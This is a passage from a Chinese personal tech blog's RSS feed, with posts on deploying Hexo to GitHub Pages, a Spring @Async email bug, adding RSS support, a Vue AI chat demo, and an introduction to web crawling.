&lt;ul&gt;
&lt;li&gt;网络不太通畅&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;众所都周知，国内github的网络情况一言难尽，经常访问不了，这种情况在用它搭博客的情况下还不利于seo。当然如果自用的话有魔法就没问题了。&lt;/p&gt;
&lt;br&gt;
&lt;h2&gt;二、搭建&lt;/h2&gt;
&lt;p&gt;先推荐下官方的搭建方法，我搭建完才看见这个，不过也懒得再换了。&lt;/p&gt;
&lt;p&gt;&lt;a href="https://hexo.io/zh-cn/docs/github-pages"&gt;在 GitHub Pages 上部署 Hexo&lt;/a&gt;&lt;/p&gt;
&lt;br&gt;
&lt;h2&gt;三、流程&lt;/h2&gt;
&lt;h3&gt;一、 Github部分&lt;/h3&gt;
&lt;h4&gt;1. 仓库&lt;/h4&gt;
&lt;p&gt;首先在建立一个仓库，仓库名是username.github.io，其中username是你的github账号名，这个也是你的最终的博客域名，如果你想改个别的域名，要不然改github的账号名（不过理论上之前仓库的地址都会变），要不然再申请一个账号。另外记得仓库的权限要设置成公开，不然无法访问。&lt;/p&gt;
&lt;p&gt;截图：&lt;/p&gt;
&lt;p&gt;&lt;img src="https://media.baby7blog.com/1725334134246370504" alt="GithubPages配置截图" /&gt;&lt;/p&gt;
&lt;h4&gt;2. 初始化&lt;/h4&gt;
&lt;p&gt;复制仓库地址，在本地使用你常用的开发软件或者VsCode什么的拉取代码然后创建一个index.html。&lt;/p&gt;
&lt;p&gt;index.html&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-html"&gt;&amp;lt;!DOCTYPE html&amp;gt;
&amp;lt;html lang=&amp;quot;en&amp;quot;&amp;gt;
&amp;lt;head&amp;gt;
    &amp;lt;meta charset=&amp;quot;UTF-8&amp;quot;&amp;gt;
    &amp;lt;title&amp;gt;Title&amp;lt;/title&amp;gt;
&amp;lt;/head&amp;gt;
&amp;lt;body&amp;gt;
    &amp;lt;h1&amp;gt;学习HTML五年有余，得此页面&amp;lt;/h1&amp;gt;
&amp;lt;/body&amp;gt;
&amp;lt;/html&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;3. 测试&lt;/h4&gt;
&lt;p&gt;push到仓库上以后等待Github Action完成，进入浏览器输入username.github.io测试是否能看到第二步初始化中的&amp;lt;h1&amp;gt;标签中的内容&lt;/p&gt;
&lt;br&gt;
&lt;h3&gt;二、Hexo部分&lt;/h3&gt;
&lt;h4&gt;1. 初始化&lt;/h4&gt;
&lt;p&gt;首先进入仓库，然后执行如下命令&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-shell"&gt;$ hexo init &amp;lt;folder&amp;gt;
$ cd &amp;lt;folder&amp;gt;
$ npm install
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;folder随便起，最好就起个hexo&lt;/p&gt;
&lt;h4&gt;2. 修改基础配置&lt;/h4&gt;
&lt;p&gt;修改_config.yml，这里放一下基础设置（来源官网）&lt;/p&gt;
&lt;p&gt;| 设置            | 描述                                                                                                                                                                              |
| ------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| &lt;code&gt;title&lt;/code&gt;       | 网站标题                                                                                                                                                                            |
| &lt;code&gt;subtitle&lt;/code&gt;    | 网站副标题                                                                                                                                                                           |
| &lt;code&gt;description&lt;/code&gt; | 网站描述                                                                                                                                                                            |
| &lt;code&gt;keywords&lt;/code&gt;    | 网站的关键词。 支持多个关键词。                                                                                                                                                                |
| &lt;code&gt;author&lt;/code&gt;      | 您的名字                                                                                                                                                                            |
| &lt;code&gt;language&lt;/code&gt;    | 网站使用的语言。 使用 &lt;a href="https://en.wikipedia.org/wiki/List_of_ISO_639-1_codes"&gt;2 个字母的 ISO-639-1 代码&lt;/a&gt;，或 &lt;a href="/docs/internationalization"&gt;它的变体&lt;/a&gt;。 默认为 &lt;code&gt;en&lt;/code&gt;。                                        |
| &lt;code&gt;timezone&lt;/code&gt;    | 网站时区, Hexo 默认使用您电脑的时区。 请参考 &lt;a href="https://en.wikipedia.org/wiki/List_of_tz_database_time_zones"&gt;时区列表&lt;/a&gt;, 中国可以用 &lt;code&gt;Asia/Shanghai&lt;/code&gt;。 |&lt;/p&gt;
&lt;h4&gt;3. 新增文章&lt;/h4&gt;
&lt;p&gt;执行命令&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-shell"&gt;$ hexo new [layout] &amp;lt;title&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;layout是布局，这里先填post就行，然后title是文章标题&lt;/p&gt;
&lt;p&gt;在目录&lt;folder&gt;/source/_posts中找到对应的md文件进行写作&lt;/p&gt;
&lt;h4&gt;4. 编辑文章&lt;/h4&gt;
&lt;p&gt;这里放个例子&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-md"&gt;---
title: 第一篇文章
date: 2024-01-01 00:00:00
---

&amp;gt; # 学习Markdown五年有余，得此文章

&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;5. 本地运行&lt;/h4&gt;
&lt;p&gt;修改后在命令行运行&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-shell"&gt;hexo server -p 4000
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;在浏览器输入localhost:4000查看是否可以访问到&lt;/p&gt;
&lt;h4&gt;6. 生成&lt;/h4&gt;
&lt;p&gt;在命令行输入&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-shell"&gt;hexo generate
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;会在&lt;folder&gt;/public中生成所有的静态文件，复制所有的，粘贴到仓库那一层（就是上上层）&lt;/p&gt;
&lt;h4&gt;7. 测试&lt;/h4&gt;
&lt;p&gt;然后push除了&lt;folder&gt;的文件，等待Github Action完成后进入浏览器输入username.github.io测试是否能正常查看&lt;/p&gt;
&lt;br&gt;
&lt;h2&gt;四、主题&lt;/h2&gt;
&lt;p&gt;好看的博客主题必不可少&lt;/p&gt;
&lt;p&gt;官方的主题仓库里有不少，我推荐最后更新时间比较近的，时间远的可能版本和Hexo不匹配。&lt;/p&gt;
&lt;p&gt;主题仓库：&lt;a href="https://hexo.io/themes/"&gt;https://hexo.io/themes/&lt;/a&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;使用：&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;一般是使用首先使用命令下载主题&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-shell"&gt;$ git clone https://github.com/xxx/xxx-xxxx.git themes/xxxxx
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然后在_config.yml文件中修改使用的主题&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-yml"&gt;theme: xxxxx
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;选型：&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;纯看自己审美，我的主博客是暗色风还花里胡哨的，这个新搭建的就选一个浅色的，也没有多余东西的风格，做一下推荐：&lt;a href="https://github.com/next-theme/hexo-theme-next"&gt;NexT&lt;/a&gt;&lt;/p&gt;</description>
      <category>服务器相关</category>
      <pubDate>Wed, 28 Aug 2024 13:17:25 GMT</pubDate>
      <author>七仔(Github)</author>
      <comments>https://www.baby7blog.com/myBlog/143.html</comments>
    </item>
    <item>
      <title>记录下使用@Async的低级错误</title>
      <link>https://www.baby7blog.com/myBlog/142.html</link>
      <description>&lt;img src="https://media.baby7blog.com/1724813078022859482" width="800"&gt;&lt;br&gt;
&lt;h1&gt;记录下使用@Async的低级错误&lt;/h1&gt;

&lt;h3&gt;一、前言&lt;/h3&gt;
&lt;p&gt;错误使用@Async导致发送邮件发送了两次&lt;/p&gt;
&lt;p&gt;用这个注解也挺久了，没想到还能出现这种低级错误，也可能是博客后端代码太久没更新了，还是记录下吧。。。&lt;/p&gt;
&lt;h3&gt;二、代码&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;A.java&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class="language-java"&gt;    //发送给博主的邮件
    {
        email.setTitle(&amp;quot;您的博客有读者回复啦&amp;quot;);
        email.setTo(emailSetting.getString(&amp;quot;username&amp;quot;));
        emailUtil.send(email);
    }
    //发送给被回复方的邮件
    if (null != comment.getReplyId() &amp;amp;&amp;amp; !Objects.equals(comment.getReplyId(), 0)) {
        email.setTitle(&amp;quot;您在博客的评论有朋友回复啦&amp;quot;);
        email.setTo(reply.getEmail());
        emailUtil.send(email);
    }
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;EmailUtil.java&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class="language-java"&gt;    @Async
    public void send(Email email) {
        ...
    }
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;三、说明&lt;/h3&gt;
&lt;p&gt;上面就是关键的错误代码了，调用了两次emailUtil的send函数发送邮件，参数是同一个对象，只是修改了接收方的地址，但由于@Async的异步问题，导致上一个函数没法送完就被下面修改了接收方地址，最后导致实际发送的两次邮件地址都是下面的那个。&lt;/p&gt;
&lt;p&gt;知道问题就好解决了，要么把上面的做成@Async，或者参数不要用同一个对象就可以了。&lt;/p&gt;</description>
      <category>后端技术</category>
      <pubDate>Wed, 28 Aug 2024 02:44:46 GMT</pubDate>
      <author>七仔(Github)</author>
      <comments>https://www.baby7blog.com/myBlog/142.html</comments>
    </item>
    <item>
      <title>博客新增支持RSS订阅啦~</title>
      <link>https://www.baby7blog.com/myBlog/141.html</link>
      <description>&lt;img src="https://media.baby7blog.com/1724687221678254193" width="800"&gt;&lt;br&gt;
&lt;h1&gt;博客新增支持RSS订阅啦~&lt;/h1&gt;

&lt;p&gt;在建站五年后，终于是把这个古老的RSS订阅功能做了支持。。。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;链接地址（订阅源）：&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;a href="https://www.baby7blog.com/feed"&gt;https://www.baby7blog.com/feed&lt;/a&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;另外在博客的顶部和底部也有订阅链接哦：&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src="https://media.baby7blog.com/1724687326882519417" alt="截图_20240826234837.png" /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src="https://media.baby7blog.com/1724687355523181244" alt="截图_20240826234908.png" /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;如何使用：&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;在Win下比较方便的就是使用Fluent Reader进行订阅（在设置出添加上方的链接地址为订阅源即可）&lt;/p&gt;
&lt;p&gt;&lt;img src="https://media.baby7blog.com/1724687764031666073" alt="1724687662101.png" /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;技术细节&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;用了一个rss的包，build.gradle:&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-gradle"&gt;    // rss订阅
    implementation 'com.rometools:rome:1.8.0'
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然后是脱敏后的代码：&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-java"&gt;    private String getRss() throws FeedException {
        Channel channel = new Channel();
        channel.setEncoding(&amp;quot;Utf-8&amp;quot;);       //不要改动
        channel.setFeedType(&amp;quot;rss_2.0&amp;quot;);       //不要改动
        channel.setTitle(&amp;quot;博客标题&amp;quot;);
        channel.setLink(&amp;quot;rss订阅地址&amp;quot;);
        channel.setDescription(&amp;quot;博客简介&amp;quot;);
        channel.setLanguage(&amp;quot;zh-cn&amp;quot;);       //不要改动
        channel.setCopyright(&amp;quot;Copyright信息&amp;quot;);
        channel.setManagingEditor(&amp;quot;邮箱(博主)&amp;quot;);
        channel.setWebMaster(&amp;quot;邮箱(博主)&amp;quot;);
        channel.setUri(&amp;quot;博客地址&amp;quot;);
        channel.setGenerator(&amp;quot;由谁构建&amp;quot;);

        Image image = new Image();
        image.setUrl(&amp;quot;图标地址&amp;quot;);
        image.setTitle(&amp;quot;博客标题&amp;quot;);
        image.setHeight(32);
        image.setWidth(32);
        channel.setImage(image);

        // 博客最后更新的时间
        Date lastDate = new Date(0L);
        // 博客列表(倒序)
        List&amp;lt;Blog&amp;gt; blogList = xxxxx.list();
        // 结果列表
        List&amp;lt;Item&amp;gt; itemList = new ArrayList&amp;lt;&amp;gt;();
        for(Blog blog : blogList){
            Item item = new Item();
            item.setAuthor(&amp;quot;博主&amp;quot;);
            item.setLink(&amp;quot;博文地址&amp;quot;);
            item.setTitle(&amp;quot;博文标题&amp;quot;);
            item.setUri(&amp;quot;博文地址&amp;quot;);
            item.setComments(&amp;quot;博文地址&amp;quot;);
            Date date = XXX; // 写博文的时间
            com.rometools.rome.feed.rss.Category category = new com.rometools.rome.feed.rss.Category();
            category.setValue(&amp;quot;分类&amp;quot;);
            item.setCategories(Collections.singletonList(category));
            // 详情
            Description desc = new Description();
            desc.setValue(&amp;quot;博文XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX&amp;quot;);
            item.setDescription(desc);
            item.setPubDate(date);
            itemList.add(item);
            // 更新时间
            if(lastDate.before(date)){
                lastDate = date;
            }
        }
        channel.setItems(itemList);
        channel.setLastBuildDate(lastDate);
        // 输出
        WireFeedOutput output = new WireFeedOutput();
        return output.outputString(channel);
    }
&lt;/code&gt;&lt;/pre&gt;</description>
      <category>服务器相关</category>
      <pubDate>Mon, 26 Aug 2024 15:47:03 GMT</pubDate>
      <author>七仔(Github)</author>
      <comments>https://www.baby7blog.com/myBlog/141.html</comments>
    </item>
    <item>
      <title>简易AI对话的VueDemo</title>
      <link>https://www.baby7blog.com/myBlog/140.html</link>
      <description>&lt;img src="https://media.baby7blog.com/1724657180228986706" width="800"&gt;&lt;br&gt;
&lt;h1&gt;简易AI对话的VueDemo&lt;/h1&gt;

&lt;h2&gt;一、说明&lt;/h2&gt;
&lt;p&gt;实现了连续对话，不过其中的GPT的Api已经失效想要使用的话需要另行寻找api。可以使用Electron打包成exe当成一个小程序使用。&lt;/p&gt;
&lt;h2&gt;二、展示&lt;/h2&gt;
&lt;p&gt;&lt;img src="https://media.baby7blog.com/1724656892382200203" alt="image.png" /&gt;&lt;/p&gt;
&lt;h2&gt;三、主要代码&lt;/h2&gt;
&lt;p&gt;注意就是将每条对话分为左边和右边两个vue，然后再组合起来，一共是三个vue&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Chat.vue&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class="language-vue"&gt;&amp;lt;template&amp;gt;
    &amp;lt;div class=&amp;quot;container&amp;quot;&amp;gt;
        &amp;lt;div class=&amp;quot;list&amp;quot; id=&amp;quot;list&amp;quot; ref=&amp;quot;list&amp;quot; &amp;gt;
            &amp;lt;ul&amp;gt;
                &amp;lt;li v-for=&amp;quot;(item,index) in msglist&amp;quot; :key=&amp;quot;index&amp;quot;&amp;gt;
                    &amp;lt;RightItem :id=&amp;quot;item.id&amp;quot; :type=&amp;quot;item.type&amp;quot; :content=&amp;quot;item.content&amp;quot; v-if=&amp;quot;item.me&amp;quot;&amp;gt;&amp;lt;/RightItem&amp;gt;
                    &amp;lt;LeftItem :id=&amp;quot;item.id&amp;quot; :type=&amp;quot;item.type&amp;quot; :content=&amp;quot;item.content&amp;quot; v-else&amp;gt;&amp;lt;/LeftItem&amp;gt;
                    &amp;lt;div v-scroll style=&amp;quot;height: 0&amp;quot;&amp;gt;&amp;lt;/div&amp;gt;
                &amp;lt;/li&amp;gt;
            &amp;lt;/ul&amp;gt;
        &amp;lt;/div&amp;gt;
        &amp;lt;div class=&amp;quot;bottom&amp;quot;&amp;gt;
            &amp;lt;div class=&amp;quot;line&amp;quot;&amp;gt;&amp;lt;/div&amp;gt;
            &amp;lt;div class=&amp;quot;input-send&amp;quot;&amp;gt;
                &amp;lt;van-field v-model=&amp;quot;text&amp;quot; placeholder=&amp;quot;请输入聊天内容...&amp;quot; class=&amp;quot;input&amp;quot; @keyup.enter=&amp;quot;send&amp;quot;/&amp;gt;
                &amp;lt;van-button plain type=&amp;quot;info&amp;quot; class=&amp;quot;send&amp;quot; @click=&amp;quot;send&amp;quot;&amp;gt;发送&amp;lt;/van-button&amp;gt;
            &amp;lt;/div&amp;gt;
        &amp;lt;/div&amp;gt;
    &amp;lt;/div&amp;gt;
&amp;lt;/template&amp;gt;

&amp;lt;script&amp;gt;
    import Vue from &amp;quot;vue&amp;quot;;
    // eslint-disable-next-line no-unused-vars
    import {getChatResponse} from &amp;quot;@/api/ChatGPT&amp;quot;;
    import LeftItem from &amp;quot;@/components/LeftItem&amp;quot;;
    import RightItem from &amp;quot;@/components/RightItem&amp;quot;;

    Vue.directive('scroll', {
        inserted(el) {
            el.scrollIntoView()
        }
    })

    export default {
        name: &amp;quot;Chat&amp;quot;,
        components: {LeftItem, RightItem},
        data: () =&amp;gt; {
            return {
                text: '',
                msglist: [{
                    id: 1,
                    type: 1,
                    content: '欢迎你！',
                    me: false
                }],
                rebootBusy: false
            }
        },
        methods: {
            send() {
                if (this.text &amp;amp;&amp;amp; !this.rebootBusy) {
                    var lastChat = this.getLastChat()
                    this.msglist.push({
                        id: this.msglist[this.msglist.length - 1].id + 1,
                        type: 1,
                        content: this.text,
                        me: true
                    })
                    this.getResponse(lastChat + &amp;quot;Human: &amp;quot; + this.text + &amp;quot;\nAI: &amp;quot;)
                    this.text = ''
                }
            },
            getResponse(text) {
                var obj = {
                    &amp;quot;model&amp;quot;: &amp;quot;text-davinci-003&amp;quot;,
                    &amp;quot;prompt&amp;quot;: text,
                    &amp;quot;temperature&amp;quot;: 0.8,
                    &amp;quot;max_tokens&amp;quot;: 2048,
                    &amp;quot;top_p&amp;quot;: 1,
                    &amp;quot;frequency_penalty&amp;quot;: 0.4,
                    &amp;quot;presence_penalty&amp;quot;: 0.3,
                    &amp;quot;stop&amp;quot;: [&amp;quot;Human:&amp;quot;, &amp;quot;AI:&amp;quot;]
                }
                console.log(text)
                this.msglist.push({
                    id: this.msglist[this.msglist.length - 1].id + 1,
                    type: 1,
                    content: &amp;quot;机器人正在组织语言，请稍等...&amp;quot;,
                    me: false
                })
                this.rebootBusy = true
                getChatResponse(obj).then(
                    response =&amp;gt; {
                        console.log(response)
                        this.rebootBusy = false
                        this.msglist.splice(-1, 1)
                        if (response.choices[0]['text'] == &amp;quot;error&amp;quot;) {
                            this.msglist.splice(-1, 1)
                            alert(&amp;quot;OpenAI服务器错误，请稍后再试&amp;quot;)
                            return
                        }
                        this.msglist.push({
                            id: this.msglist[this.msglist.length - 1].id + 1,
                            type: 1,
                            content: response.choices[0]['text'].replace(/\s+$/,''),
                            me: false
                    })
                })
            },
            getLastChat() {
                let chat = &amp;quot;&amp;quot;
                for (let i = 1; i &amp;lt; this.msglist.length; i++) {
                    if (this.msglist[i]['me']) {
                        chat = chat + &amp;quot;Human: &amp;quot; + this.msglist[i]['content'] + &amp;quot;\nAI: &amp;quot;
                    }
                    else {
                        chat = chat + this.msglist[i]['content'] + &amp;quot;\n&amp;quot;
                    }
                }
                if (chat.length &amp;gt; 2000) {
                    alert(&amp;quot;连续对话超过显示，接下来无法进行连续对话，请重启&amp;quot;)
                    return &amp;quot;&amp;quot;
                }
                return chat;
            }
        }
    }
&amp;lt;/script&amp;gt;

&amp;lt;style scoped lang=&amp;quot;scss&amp;quot;&amp;gt;
    .container {
        ul {
            padding: 0;
            margin: 0;
        }

        li {
            list-style: none;

        }

        .list {
            width: 100%;
            height: 100%;
            margin-bottom: 45px;
        }

        .bottom {
            width: 100%;
            position: fixed;
            bottom: 0;

            .line {
                width: 100%;
                height: 1px;
                background-color: #ddd;
            }

            .input-send {
                display: flex;
                justify-content: space-between;
                background-color: #fff;

                .input {
                    padding-right: 10px;
                }

                .send {
                    width: 80px;
                    height: 30px;
                    margin-top: 7px;
                    margin-right: 10px;
                }
            }

        }
    }
&amp;lt;/style&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;LeftItem.vue&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class="language-vue"&gt;&amp;lt;template&amp;gt;
    &amp;lt;div class=&amp;quot;container&amp;quot;&amp;gt;
        &amp;lt;img class=&amp;quot;head&amp;quot; src=&amp;quot;https://media.baby7blog.com/chatgpt/chatGPT.png&amp;quot;/&amp;gt;

        &amp;lt;div class=&amp;quot;content&amp;quot;&amp;gt;
            &amp;lt;div class=&amp;quot;text&amp;quot; v-if=&amp;quot;type===1&amp;quot;&amp;gt;
                {{content}}
            &amp;lt;/div&amp;gt;
            &amp;lt;img class=&amp;quot;img&amp;quot; :src=&amp;quot;content&amp;quot; v-else-if=&amp;quot;type===2&amp;quot; @click=&amp;quot;preview(content)&amp;quot;/&amp;gt;
        &amp;lt;/div&amp;gt;

    &amp;lt;/div&amp;gt;
&amp;lt;/template&amp;gt;

&amp;lt;script&amp;gt;
    import ImagePreview from &amp;quot;vant/lib/image-preview&amp;quot;;

    export default {
        name: &amp;quot;LeftItem&amp;quot;,
        props: ['id', 'type', 'content'],
        methods: {
            preview(url){
                ImagePreview([url])
            }
        }
    }
&amp;lt;/script&amp;gt;

&amp;lt;style scoped lang=&amp;quot;scss&amp;quot;&amp;gt;
    .container {
        display: flex;
        padding: 10px 15px;
        margin-right: 60px;

        .head {
            width: 40px;
            height: 40px;
            border-radius: 50%;
            border: 1px solid #eee;
        }

        .content {
            margin-left: 10px;
            margin-top: 10px;

            .text {
                background-color: deepskyblue;
                border-bottom-right-radius: 10px;
                padding: 5px 5px;
                font-size: 14px;
                color: #fff;
                white-space: pre-line;
            }

            .img {
                width: 100px;
                border-bottom-right-radius: 10px;
                border-top-right-radius: 10px;
                border-bottom-left-radius: 10px;
            }
        }

    }
&amp;lt;/style&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;RightItem.vue&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class="language-vue"&gt;&amp;lt;template&amp;gt;
    &amp;lt;div class=&amp;quot;container&amp;quot;&amp;gt;
        &amp;lt;img class=&amp;quot;head&amp;quot;
             src=&amp;quot;https://media.baby7blog.com/chatgpt/baby7.png&amp;quot;/&amp;gt;
        &amp;lt;div class=&amp;quot;content&amp;quot;&amp;gt;
            &amp;lt;div class=&amp;quot;text&amp;quot; v-if=&amp;quot;type===1&amp;quot;&amp;gt;
                {{content}}
            &amp;lt;/div&amp;gt;
            &amp;lt;img class=&amp;quot;img&amp;quot; :src=&amp;quot;content&amp;quot; v-else-if=&amp;quot;type===2&amp;quot;/&amp;gt;
        &amp;lt;/div&amp;gt;
    &amp;lt;/div&amp;gt;
&amp;lt;/template&amp;gt;

&amp;lt;script&amp;gt;

    export default {
        name: &amp;quot;RightItem&amp;quot;,
        props: ['id', 'type', 'content']
    }
&amp;lt;/script&amp;gt;

&amp;lt;style scoped lang=&amp;quot;scss&amp;quot;&amp;gt;
    .container {
        display: flex;
        padding: 10px 15px;
        margin-left: 60px;
        flex-direction: row-reverse;

        .head {
            width: 40px;
            height: 40px;
            border-radius: 50%;
            border: 1px solid #eee;
        }

        .content {
            margin-right: 10px;
            margin-top: 10px;

            .text {
                background-color: #eee;
                border-bottom-left-radius: 10px;
                padding: 5px 5px;
                font-size: 14px;
                color: #000;
                white-space: pre-line;
            }

            .img {
                width: 100px;
                border-bottom-right-radius: 10px;
                border-top-right-radius: 10px;
                border-bottom-left-radius: 10px;
            }
        }

    }
&amp;lt;/style&amp;gt;

&lt;/code&gt;&lt;/pre&gt;</description>
      <category>人工智能</category>
      <pubDate>Mon, 26 Aug 2024 07:26:22 GMT</pubDate>
      <author>七仔(Github)</author>
      <comments>https://www.baby7blog.com/myBlog/140.html</comments>
    </item>
    <item>
      <title>爬虫入门</title>
      <link>https://www.baby7blog.com/myBlog/139.html</link>
      <description>&lt;img src="https://media.baby7blog.com/1724655467936613975" width="800"&gt;&lt;br&gt;&lt;h1&gt;爬虫入门&lt;/h1&gt;
&lt;h2&gt;一、前言&lt;/h2&gt;
&lt;p&gt;先叠甲，只用于学习和研究。个人修行不够，有错误的或者补充的地方请联系我，轻喷。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;二、运行方式&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;h5&gt;单脚本爬取&lt;/h5&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;一般是直接使用reqrests库进行请求，在爬取维度比较少的情况下编程比较快，而且易上手&lt;/p&gt;
&lt;ol start="2"&gt;
&lt;li&gt;
&lt;h5&gt;爬虫框架&lt;/h5&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;用得最多的就是Scrapy，有完备的解决方案，但需要一定的门槛&lt;/p&gt;
&lt;ol start="3"&gt;
&lt;li&gt;
&lt;h5&gt;调用浏览器&lt;/h5&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;通过python调用浏览器进行爬取，更多时候这也被用过自动化测试，这种方式还可以绕过部分网站的爬虫校验程序，缺点是速度慢、耗资源量大&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;三、爬取方式&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;h5&gt;通过网站地图&lt;/h5&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;大部分网站会提供网站地图，一般是/sitemap.xml，通过这里面提供的网址进行爬取，例如我博客的地图：&lt;a href="https://www.baby7blog.com/sitemap.xml"&gt;https://www.baby7blog.com/sitemap.xml&lt;/a&gt;&lt;/p&gt;
&lt;ol start="2"&gt;
&lt;li&gt;
&lt;h5&gt;双向爬取&lt;/h5&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;分为水平爬取和垂直爬取，可以结合起来。这里可以参考我的博客：&lt;a href="https://www.baby7blog.com/myBlog/20.html"&gt;Scrapy实战：双向爬取（豆瓣电影Top250）&lt;/a&gt;&lt;/p&gt;
&lt;ol start="3"&gt;
&lt;li&gt;
&lt;h5&gt;请求爬取&lt;/h5&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;就是通过改变接口的api直接获取结果，一般用于页面请求比较规律的情况&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;四、运行方式&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;h5&gt;短时运行&lt;/h5&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;如果是一次性获取数据的话可以直接在电脑上跑完就行可以&lt;/p&gt;
&lt;ol start="2"&gt;
&lt;li&gt;
&lt;h5&gt;长时运行&lt;/h5&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;通过服务器命令行运行7*24小时运行比较文档&lt;/p&gt;
&lt;ol start="3"&gt;
&lt;li&gt;
&lt;h5&gt;定时运行&lt;/h5&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;可以通过服务器定时（例如crontab）运行，或者使用一些爬虫管理软件，例如：Crawlab、Gerapy、Scrapydweb、SpiderKeeper、scrapyd、SwordCaster。推荐Crawlab，这里可以参考文章：&lt;a href="https://blog.51cto.com/u_15050718/4322958"&gt;https://blog.51cto.com/u_15050718/4322958&lt;/a&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;五、存储&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;h5&gt;数据库&lt;/h5&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;可以存到各种数据库中，例如mysql、sqlite、mongodb等等&lt;/p&gt;
&lt;ol start="2"&gt;
&lt;li&gt;
&lt;h5&gt;文件&lt;/h5&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;表格形式的可以存为csv、xlxs等，或者转换为pdf和word，甚至可以存为txt或者log&lt;/p&gt;
&lt;ol start="3"&gt;
&lt;li&gt;
&lt;h5&gt;源格式&lt;/h5&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;可以直接根据请求的方式保存为html或者json格式&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;六、技术要点&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;h5&gt;验证码&lt;/h5&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;一般是根据网站的验证码类型引入对应的识别包或者调用验证码识别api完成。&lt;/p&gt;
&lt;ol start="2"&gt;
&lt;li&gt;
&lt;h5&gt;爬取限制&lt;/h5&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;同ip或者同机器或者同浏览器的时间段内爬取量限制。可以通过修改请求UA、使用第三方代理方式，或者直接降低爬取频率到限制内。这里看可以参考我的博客：&lt;a href="https://www.baby7blog.com/myBlog/63.html"&gt;为Scrapy爬虫添加UA池和动态IP代理池&lt;/a&gt;&lt;/p&gt;
&lt;ol start="3"&gt;
&lt;li&gt;
&lt;h5&gt;抓包&lt;/h5&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;常用的抓包软件如：Fiddler、wireshark、安卓端的小黄鸟，如果还不行的话甚至可以在路由器端装插件抓包（只有部分浏览器支持）&lt;/p&gt;
&lt;ol start="4"&gt;
&lt;li&gt;
&lt;h5&gt;影音资源&lt;/h5&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;对于视频最常见的就是m3u8的，是一种对视频切片分段下载的方式，爬取时需要下载所有的片段然后根据m3u8文件使用命令行或者FFmpeg进行合并。需要注意有时网站会对切片文件进行加密或者修改切片的格式。&lt;/p&gt;
